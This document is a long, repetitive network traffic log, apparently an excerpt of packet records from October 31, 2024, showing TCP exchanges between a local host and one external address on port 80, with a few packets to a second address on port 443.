Oct 31, 2024 01:19:21.704523087 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704524040 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704539061 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704540014 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704554081 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704559088 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704566002 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704569101 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704583883 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704586029 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704598904 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704613924 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704613924 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704633951 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704637051 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704652071 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704654932 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704665899 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704683065 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704684019 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704698086 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704701900 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704713106 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704726934 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704731941 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704741955 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704751015 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704756021 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704772949 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704773903 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704787016 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704787970 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704802036 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704807997 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704817057 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704832077 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704838037 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704847097 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704858065 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704870939 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704885960 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704886913 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704900980 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704910994 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704916000 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704931974 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704936981 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704946995 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704948902 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704956055 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704967976 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704981089 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704983950 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704999924 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.705005884 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.705013990 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.705029011 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.705029011 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.705044985 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.705045938 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.705055952 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.705061913 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.705076933 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.705077887 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.705094099 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.705092907 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.705108881 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.705108881 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.705123901 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.705130100 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.705137968 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.705140114 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.705154896 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.705167055 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.705169916 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.705184937 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.705195904 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.705200911 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.705216885 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.705220938 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.705230951 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.705240011 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.705246925 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.705264091 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.705265045 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.705279112 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.705288887 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.705302000 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.705313921 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.705317974 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.705329895 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.705332041 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.705347061 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.705348015 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.705362082 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.705363035 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.705375910 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.705377102 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.705391884 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.705398083 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.705409050 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.705418110 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.705445051 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.732168913 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.732194901 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.732212067 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.732227087 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.732242107 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.732247114 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.732255936 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.732270956 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.732280016 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.732295036 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.732306957 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.732320070 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.732322931 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.732337952 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.732352018 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.732367992 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.732373953 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.732393980 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.732410908 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.732788086 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.732803106 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.732816935 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.732829094 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.732834101 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.732846022 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.732850075 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.732862949 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.732861996 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.732880116 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.732898951 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.732909918 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.732911110 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.732947111 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.732985973 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.732999086 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733012915 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733023882 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.733028889 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733038902 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.733043909 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733057976 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.733072996 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.733089924 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.733269930 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733283997 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733298063 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733309031 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.733320951 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733335972 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.733342886 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733356953 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733362913 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.733371973 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733386993 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733387947 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.733408928 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733412027 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.733423948 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733438969 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733439922 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.733449936 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.733453989 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733465910 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.733469009 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733484030 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733485937 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.733499050 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733527899 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.733555079 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733556032 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.733567953 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733583927 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733597040 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.733603954 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733623028 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.733649015 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.733659029 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733674049 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733692884 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733697891 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.733707905 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733716011 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.733731031 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.733750105 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.733844042 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733858109 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733872890 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733896971 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.733896971 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.733906031 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.733913898 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733928919 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733942032 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.733951092 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.733959913 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.733978033 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.734338045 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.734354019 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.734369040 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.734378099 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.734388113 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.734406948 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.734435081 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.734448910 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.734464884 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.734472990 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.734502077 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.734502077 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.734503031 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.734524965 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.734535933 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.734541893 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.734555960 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.734560966 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.734597921 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.734620094 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.734642029 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.734652042 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.734652042 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.734658957 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.734673977 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.734688997 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.734694004 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.734723091 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.734741926 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.734987020 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.734999895 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.735013962 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.735022068 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.735039949 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.735047102 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.735054016 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.735069990 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.735080004 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.735105991 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.735341072 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.735382080 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.735471964 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.735486984 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.735502005 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.735511065 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.735517979 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.735529900 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.735532999 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.735544920 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.735560894 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.735563040 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.735578060 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.735599995 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.735606909 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.735625029 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.735635042 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.735640049 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.735654116 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.735657930 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.735668898 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.735677004 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.735697031 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.735711098 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.735824108 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.735838890 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.735853910 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.735862970 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.735877037 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.735899925 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.735902071 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.735918999 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.735939980 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.735954046 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.736167908 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.736207008 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.736294031 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.736310959 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.736327887 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.736335039 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.736341953 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.736352921 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.736356020 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.736371040 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.736381054 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.736381054 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.736390114 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.736392975 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.736407042 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.736409903 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.736422062 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.736428976 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.736438036 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.736448050 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.736475945 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.736475945 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.736499071 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.736526966 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.736536980 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.736542940 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.736557961 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.736563921 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.736573935 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.736582994 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.736588001 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.736602068 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.736603975 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.736617088 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.736618042 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.736635923 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.736656904 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.744762897 CET	49999	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:21.744797945 CET	443	49999	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:21.744827032 CET	49999	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:21.744833946 CET	443	49999	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:21.808742046 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.808794022 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.808810949 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.808835030 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.808851004 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.808866024 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.808877945 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.808881998 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.808896065 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.808900118 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.808912992 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.808929920 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.808953047 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.808959007 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.808973074 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.808986902 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809003115 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809003115 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809015989 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809017897 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809037924 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809067011 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809084892 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809099913 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809118032 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809125900 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809139013 CET	49998	80	192.168.2.6	185.215.113.16
